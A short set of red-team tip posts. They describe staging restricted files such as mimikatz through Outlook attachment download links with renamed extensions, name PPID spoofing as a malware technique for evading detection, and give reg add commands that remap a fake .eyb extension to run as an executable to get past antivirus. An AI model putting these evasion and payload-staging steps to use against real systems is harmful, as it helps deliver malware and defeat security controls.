Outlook Attachments Attackers can compose an email on Outlook (or O365) and attach a file and then use the file's download link to directly download the file. Restricted file types would first need to have their file extension modified (e.g. mimikatz.exe becomes mimikatz.exe.txt) and then upon download the file extension is modified back to the original extension.

1. Compose an email
2. Attach a file (add .txt to the end if it's a restricted file type)
3. Click on the file to download it and grab the link (attachment.outlook.live.net or attachment.office.net)

Link is valid for ~15 minutes. #outlook #attachments #redteam #phishing

Picky PPID Spoofing Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships. https://capt-meelo.github.io//redteam/maldev/2021/11/22/picky-ppid-spoofing.html #pid #spoofing #redteam #maldev #malware

Bypass AV via Change Filenames/Extension You need to change the files extension: .eyb files as .exe .faq files as .dll Use the following commands:

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /ve /t REG_SZ /d exefile
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.eyb /f /v "Content Type" /t REG_SZ /d "application/x-msdownload"

This can also work on other security solutions and for many other blacklisted techniques. #av #evasion #extension #file
